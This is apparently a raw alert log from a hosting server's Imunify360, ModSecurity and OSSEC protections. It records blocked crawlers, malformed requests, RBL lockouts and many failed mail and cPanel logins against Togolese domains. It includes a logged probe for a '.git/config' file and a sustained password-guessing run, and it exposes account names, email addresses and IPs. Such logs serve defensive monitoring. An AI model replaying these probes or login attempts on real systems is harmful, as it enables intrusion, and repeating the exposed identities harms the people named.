IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:38.154.224.219||TA:38.154.224.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.18
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.227.131.18||TA:192.227.131.18||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.199
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.227.131.199||TA:192.227.131.199||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:11:21 dovecot_login authenticator failed for H=(s8sFkTpVk) [141.98.10.175]:57524: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.120.42
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.120.42||TA:216.173.120.42||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.177
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:204.217.245.177||TA:204.217.245.177||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:11:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.46.130
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:145.223.46.130||TA:145.223.46.130||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 21:13:20 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:57568: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:12:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.154.155.115
country_id: 2921044
description:
Jun 15 21:12:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.154.155.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:12:40 dovecot_login authenticator failed for H=(x7neIimF) [141.98.10.175]:57558: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.46.202.181
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.46.202.181||TA:198.46.202.181||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 155.254.39.105
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:155.254.39.105||TA:155.254.39.105||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.154.155.115
country_id: 2921044
description:
2026-06-15 21:12:58 dovecot_plain authenticator failed for H=ip217-154-155-115.pbiaas.com (xvaypyspoonuq7dw5a1cj6x3) [217.154.155.115]:33088: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:12:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: www.account.cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:13:28 dovecot_login authenticator failed for H=(K6wnQiDT6G) [141.98.10.175]:50488: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:13:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:14:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:14:23 dovecot_login authenticator failed for H=(9f6whtlHX) [141.98.10.175]:58482: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:15:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:15:43 dovecot_login authenticator failed for H=(Utu5KD) [141.98.10.175]:57316: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:16:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:16:35 dovecot_login authenticator failed for H=(RSxfoK) [141.98.10.175]:52316: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.216.143
country_id: 298795
description:
Jun 15 21:17:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.216.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:17:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:17:26 dovecot_login authenticator failed for H=(n1HOKX) [141.98.10.175]:52291: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:18:21 dovecot_login authenticator failed for H=(Z8hMXVkFmo) [141.98.10.175]:52388: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.236.139.113
country_id: 3469034
description:
[2026-06-15 21:18:45 +0000] info [cpaneld] 45.236.139.113 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.78.226.88
country_id: 1210997
description:
[2026-06-15 21:18:51 +0000] info [cpaneld] 103.78.226.88 - letablo "GET /login/?login_only=1&user=letablo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letablo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.141.64.12
country_id: 1210997
description:
[2026-06-15 21:18:40 +0000] info [cpaneld] 103.141.64.12 - letabloid "GET /login/?login_only=1&user=letabloid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloid (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:18:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.46.60
country_id: 1733045
description:
[2026-06-15 21:19:11 +0000] info [cpaneld] 180.75.46.60 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:19:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:19:36 dovecot_login authenticator failed for H=(m1NhKFHNId) [141.98.10.175]:53221: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:19:45 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:9412: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:20:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:20:28 dovecot_login authenticator failed for H=(nFk5Ev69P) [141.98.10.175]:52720: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:20:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:22:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:21:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:21:40 dovecot_login authenticator failed for H=(wRH9eL) [141.98.10.175]:62934: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:22:30 dovecot_login authenticator failed for H=(pJa1d1J) [141.98.10.175]:62319: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:22:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [15/Jun/2026:21:23:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9541783&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D15&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781558602 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=15" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:23:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:23:45 dovecot_login authenticator failed for H=(B26pguyOs) [141.98.10.175]:63281: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.198.32
country_id: 248816
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:24:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:24:35 dovecot_login authenticator failed for H=(ke1N7p3tS) [141.98.10.175]:52397: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:24:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920082&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781558679 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.198.32
country_id: 248816
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:25:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:25:25 dovecot_login authenticator failed for H=(4dxZCJ2AT) [141.98.10.175]:64122: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.64.210.107
country_id: 294640
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:26:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:26:36 dovecot_login authenticator failed for H=(rFKopxYTSJ) [141.98.10.175]:49724: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.64.210.107
country_id: 294640
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:27:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:27:28 dovecot_login authenticator failed for H=(CWypMtvbt) [141.98.10.175]:64517: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:27:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 15 21:28:05 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.14.20.62
country_id: 2802361
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dashboard/.git/config||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:28:43 dovecot_login authenticator failed for H=(SHDAkK8d0) [141.98.10.175]:60099: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.126.61
country_id: 3895114
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:28:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.126.61
country_id: 3895114
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:29:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:29:33 dovecot_login authenticator failed for H=(lLSBXz) [141.98.10.175]:50501: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:30:27 dovecot_login authenticator failed for H=(lXz23WNb6) [141.98.10.175]:64598: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 82.139.195.194
country_id: 2589581
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:30:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:31:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:31:47 dovecot_login authenticator failed for H=(ZtKjtAWDt) [141.98.10.175]:56579: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:32:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:32:40 dovecot_login authenticator failed for H=(c8Ysj5lRlb) [141.98.10.175]:58993: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-15 21:33:35 +0000] info [cpaneld] 185.213.83.245 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:33:31 dovecot_login authenticator failed for H=(my4XbJrJG) [141.98.10.175]:64267: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.141.11.13
country_id: 3686110
description:
181.141.11.13 - - [15/Jun/2026:21:33:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158599&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559199 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.1807.1108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.141.11.13


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:33:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:35:13 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:34:21 dovecot_login authenticator failed for H=(pJT3KzEhIK) [141.98.10.175]:49614: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:35:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:34:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:35:39 dovecot_login authenticator failed for H=(uJFEQV) [141.98.10.175]:56632: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:35:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.owa.antasertogo.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:35:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:36:22 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11998: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:36:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:36:33 dovecot_login authenticator failed for H=(mxWQT0p) [141.98.10.175]:49989: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:38:19 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 18.215.99.138
country_id: 6252001
domain: www.afrikimpact-media.tg.lct-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:37:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:37:28 dovecot_login authenticator failed for H=(YEgIMBbBP4) [141.98.10.175]:65386: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
